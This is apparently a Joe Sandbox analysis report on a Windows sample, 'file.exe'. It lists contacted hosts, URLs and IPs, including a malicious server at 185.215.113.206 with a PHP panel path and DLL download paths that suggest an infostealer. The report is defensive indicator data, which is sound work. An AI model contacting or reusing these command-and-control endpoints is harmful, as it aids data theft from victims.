Name	IP	Active	Malicious	Reputation
plus.l.google.com	142.250.74.206	true	false	unknown
play.google.com	142.250.184.206	true	false	unknown
www.google.com	142.250.185.228	true	false	unknown
apis.google.com	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/	true	unknown
http://185.215.113.206/6c4adf523b719729.php	true	unknown
http://185.215.113.206/746f34465cf17784/softokn3.dll	true	unknown
http://185.215.113.206/746f34465cf17784/freebl3.dll	true	unknown
https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0	false	unknown
http://185.215.113.206/746f34465cf17784/mozglue.dll	true	unknown
http://185.215.113.206/746f34465cf17784/nss3.dll	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.206/746f34465cf17784/sqlite3.dlld	file.exe, 00000000.00000002.2065495419.00000000011B3000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000002.2065495419.00000000011F5000.00000004.00000020.00020000.00000000.sdmp, DBKEGCAE.0.dr	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000002.2065495419.00000000011F5000.00000004.00000020.00020000.00000000.sdmp, DBKEGCAE.0.dr	false	URL Reputation: safe	unknown
https://google-ohttp-relay-join.fastly-edge.com/-	chrome.exe, 00000001.00000003.1816722029.00002E9401B48000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/746f34465cf17784/mozglue.dllv	file.exe, 00000000.00000002.2065495419.00000000011B3000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/0	chrome.exe, 00000001.00000003.1816722029.00002E9401B48000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/6	chrome.exe, 00000001.00000003.1816722029.00002E9401B48000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/4633	chrome.exe, 00000001.00000003.1787944101.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788841178.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://anglebug.com/7382	chrome.exe, 00000001.00000003.1787944101.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788841178.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	file.exe, 00000000.00000002.2065495419.00000000011F5000.00000004.00000020.00020000.00000000.sdmp, CBGHCAKKFBGDHJJJKECF.0.dr	false	URL Reputation: safe	unknown
https://issuetracker.google.com/284462263	chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.206/r(Cn	file.exe, 00000000.00000002.2065495419.0000000001197000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/6c4adf523b719729.phprowser	file.exe, 00000000.00000002.2065495419.00000000011B3000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/=	chrome.exe, 00000001.00000003.1816722029.00002E9401B48000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://publickeyservice.gcp.privacysandboxservices.com	chrome.exe, 00000001.00000003.1814650340.00002E9401500000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://polymer.github.io/AUTHORS.txt	chrome.exe, 00000001.00000003.1793680510.00002E9400F48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1792451336.00002E940104C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1793576441.00002E9400A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1792331820.00002E9401030000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1793612508.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1792230244.00002E9400EAC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1794071088.00002E94010E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1792364374.00002E9401080000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1793548659.00002E9400C70000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1793948899.00002E94004E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1792394392.00002E9400ED8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1794153999.00002E940120C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://docs.google.com/	chrome.exe, 00000001.00000003.1778992779.00002E9400420000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://publickeyservice.pa.aws.privacysandboxservices.com	chrome.exe, 00000001.00000003.1814650340.00002E9401500000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://anglebug.com/7714	chrome.exe, 00000001.00000003.1787944101.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788841178.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://photos.google.com?referrer=CHROME_NTP	chrome.exe, 00000001.00000003.1794071088.00002E94010E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1793948899.00002E94004E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1794153999.00002E940120C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/6248	chrome.exe, 00000001.00000003.1787944101.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788841178.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ogs.google.com/widget/callout?eom=1	chrome.exe, 00000001.00000003.1811391070.00002E9401434000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/6929	chrome.exe, 00000001.00000003.1787944101.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788841178.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/5281	chrome.exe, 00000001.00000003.1787944101.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788841178.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.206/6c4adf523b719729.phpenSSH	file.exe, 00000000.00000002.2065495419.0000000001197000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/6c4adf523b719729.phpodus.wallet	file.exe, 00000000.00000002.2065495419.00000000011B3000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	file.exe, 00000000.00000002.2065495419.00000000011F5000.00000004.00000020.00020000.00000000.sdmp, CBGHCAKKFBGDHJJJKECF.0.dr	false		unknown
https://issuetracker.google.com/255411748	chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://anglebug.com/7246	chrome.exe, 00000001.00000003.1787944101.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788841178.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://anglebug.com/7369	chrome.exe, 00000001.00000003.1787944101.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788841178.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://anglebug.com/7489	chrome.exe, 00000001.00000003.1787944101.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788841178.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://chrome.google.com/webstore	chrome.exe, 00000001.00000003.1790013924.00002E9400F00000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://drive-daily-2.corp.google.com/	chrome.exe, 00000001.00000003.1778992779.00002E9400420000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://polymer.github.io/PATENTS.txt	chrome.exe, 00000001.00000003.1793680510.00002E9400F48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1792451336.00002E940104C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1793576441.00002E9400A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1792331820.00002E9401030000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1793612508.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1792230244.00002E9400EAC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1794071088.00002E94010E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1792364374.00002E9401080000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1793548659.00002E9400C70000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1793948899.00002E94004E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1792394392.00002E9400ED8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1794153999.00002E940120C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://docs.google.com/document/d/1z2sdBwnUF2tSlhl3R2iUlk7gvmSbuLVXOgriPIcJkXQ/preview	chrome.exe, 00000001.00000003.1820304343.00002E9401648000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1820265091.00002E9401644000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Ed1aWxkV	file.exe, 00000000.00000002.2064326724.0000000000566000.00000040.00000001.01000000.00000003.sdmp	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000002.2065495419.00000000011F5000.00000004.00000020.00020000.00000000.sdmp, DBKEGCAE.0.dr	false	URL Reputation: safe	unknown
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	file.exe, 00000000.00000002.2065495419.00000000011F5000.00000004.00000020.00020000.00000000.sdmp, CBGHCAKKFBGDHJJJKECF.0.dr	false		unknown
https://issuetracker.google.com/161903006	chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000002.2065495419.00000000011F5000.00000004.00000020.00020000.00000000.sdmp, DBKEGCAE.0.dr	false	URL Reputation: safe	unknown
https://drive-daily-1.corp.google.com/	chrome.exe, 00000001.00000003.1778992779.00002E9400420000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://drive-daily-5.corp.google.com/	chrome.exe, 00000001.00000003.1778992779.00002E9400420000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://plus.google.com	chromecache_81.3.dr	false		unknown
http://anglebug.com/3078	chrome.exe, 00000001.00000003.1787944101.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788841178.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/7553	chrome.exe, 00000001.00000003.1787944101.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788841178.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/5375	chrome.exe, 00000001.00000003.1787944101.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788841178.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/5371	chrome.exe, 00000001.00000003.1787944101.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788841178.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/4722	chrome.exe, 00000001.00000003.1787944101.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788841178.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://m.google.com/devicemanagement/data/api	chrome.exe, 00000001.00000003.1778199517.00002E94001C8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/7556	chrome.exe, 00000001.00000003.1787944101.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788841178.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://drive-preprod.corp.google.com/	chrome.exe, 00000001.00000003.1778992779.00002E9400420000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://publickeyservice.pa.gcp.privacysandboxservices.com	chrome.exe, 00000001.00000003.1814650340.00002E9401500000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/6692	chrome.exe, 00000001.00000003.1787944101.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788841178.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://issuetracker.google.com/258207403	chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.206/6c4adf523b719729.phpcal	file.exe, 00000000.00000002.2065495419.00000000011B3000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://anglebug.com/3502	chrome.exe, 00000001.00000003.1787944101.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788841178.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/3623	chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/3625	chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/3624	chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/5007	chrome.exe, 00000001.00000003.1787944101.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788841178.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/3862	chrome.exe, 00000001.00000003.1787944101.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788841178.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://docs.rs/getrandom#nodejs-es-module-support	file.exe, file.exe, 00000000.00000002.2085552538.000000006C841000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000003.1676707184.0000000004EBB000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2064326724.00000000004AC000.00000040.00000001.01000000.00000003.sdmp, chrome.dll.0.dr	false	URL Reputation: safe	unknown
https://chrome.google.com/webstoreLDDiscover	chrome.exe, 00000001.00000003.1790923185.00002E9400F00000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1789579384.00002E9400338000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788544748.00002E9400C70000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1793782506.00002E9400C70000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1795355413.00002E9400F00000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1790013924.00002E9400F00000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/4836	chrome.exe, 00000001.00000003.1787944101.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788841178.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://issuetracker.google.com/issues/166475273	chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://docs.google.com/document/d/1z2sdBwnUF2tSlhl3R2iUlk7gvmSbuLVXOgriPIcJkXQ/preview29	chrome.exe, 00000001.00000003.1814650340.00002E9401500000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/4384	chrome.exe, 00000001.00000003.1787944101.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788841178.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://mail.google.com/mail/?tab=rm&ogbl	chrome.exe, 00000001.00000003.1810134713.00002E94013D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1810586560.00002E94012DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1813889235.00002E94014BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1812887482.00002E94013D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1812928146.00002E940140C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/3970	chrome.exe, 00000001.00000003.1787944101.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788841178.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://apis.google.com	chrome.exe, 00000001.00000003.1811391070.00002E9401434000.00000004.00000800.00020000.00000000.sdmp, chromecache_77.3.dr, chromecache_81.3.dr	false	URL Reputation: safe	unknown
http://polymer.github.io/CONTRIBUTORS.txt	chrome.exe, 00000001.00000003.1793680510.00002E9400F48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1792451336.00002E940104C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1793576441.00002E9400A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1792331820.00002E9401030000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1793612508.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1792230244.00002E9400EAC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1794071088.00002E94010E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1792364374.00002E9401080000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1793548659.00002E9400C70000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1793948899.00002E94004E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1792394392.00002E9400ED8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1794153999.00002E940120C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://labs.google.com/search?source=ntp	chrome.exe, 00000001.00000003.1810134713.00002E94013D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1810586560.00002E94012DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1813889235.00002E94014BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1812887482.00002E94013D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1812928146.00002E940140C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://domains.google.com/suggest/flow	chromecache_81.3.dr	false	URL Reputation: safe	unknown
https://google-ohttp-relay-query.fastly-edge.com/2P	chrome.exe, 00000001.00000003.1775886412.00003D9400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1814650340.00002E9401500000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1776081344.00003D940039C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://anglebug.com/7604	chrome.exe, 00000001.00000003.1787944101.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788841178.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://google-ohttp-relay-join.fastly-edge.com/hj	chrome.exe, 00000001.00000003.1776283486.00003D9400684000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/7761	chrome.exe, 00000001.00000003.1787944101.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788841178.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ogs.google.com/widget/app/so?eom=1	chrome.exe, 00000001.00000003.1811391070.00002E9401434000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/7760	chrome.exe, 00000001.00000003.1787944101.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788841178.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	file.exe, 00000000.00000002.2065495419.00000000011F5000.00000004.00000020.00020000.00000000.sdmp, CBGHCAKKFBGDHJJJKECF.0.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000002.2065495419.00000000011F5000.00000004.00000020.00020000.00000000.sdmp, DBKEGCAE.0.dr	false		unknown
http://anglebug.com/5901	chrome.exe, 00000001.00000003.1787944101.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788841178.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/3965	chrome.exe, 00000001.00000003.1787944101.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788841178.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/6439	chrome.exe, 00000001.00000003.1787944101.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788841178.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/7406	chrome.exe, 00000001.00000003.1787944101.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788841178.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/search	chrome.exe, 00000001.00000003.1814650340.00002E9401500000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://anglebug.com/7161	chrome.exe, 00000001.00000003.1787944101.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788841178.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://drive-autopush.corp.google.com/	chrome.exe, 00000001.00000003.1778992779.00002E9400420000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/search?q=$	chrome.exe, 00000001.00000003.1794153999.00002E940120C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://anglebug.com/7162	chrome.exe, 00000001.00000003.1787944101.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788841178.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/5906	chrome.exe, 00000001.00000003.1787944101.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788841178.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/2517	chrome.exe, 00000001.00000003.1787944101.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788841178.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/4937	chrome.exe, 00000001.00000003.1787944101.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788841178.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.185.228	www.google.com	United States	15169	GOOGLEUS	false
142.250.74.206	plus.l.google.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
142.250.184.206	play.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.4
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1545672
Start date and time:	2024-10-30 20:12:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 57s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
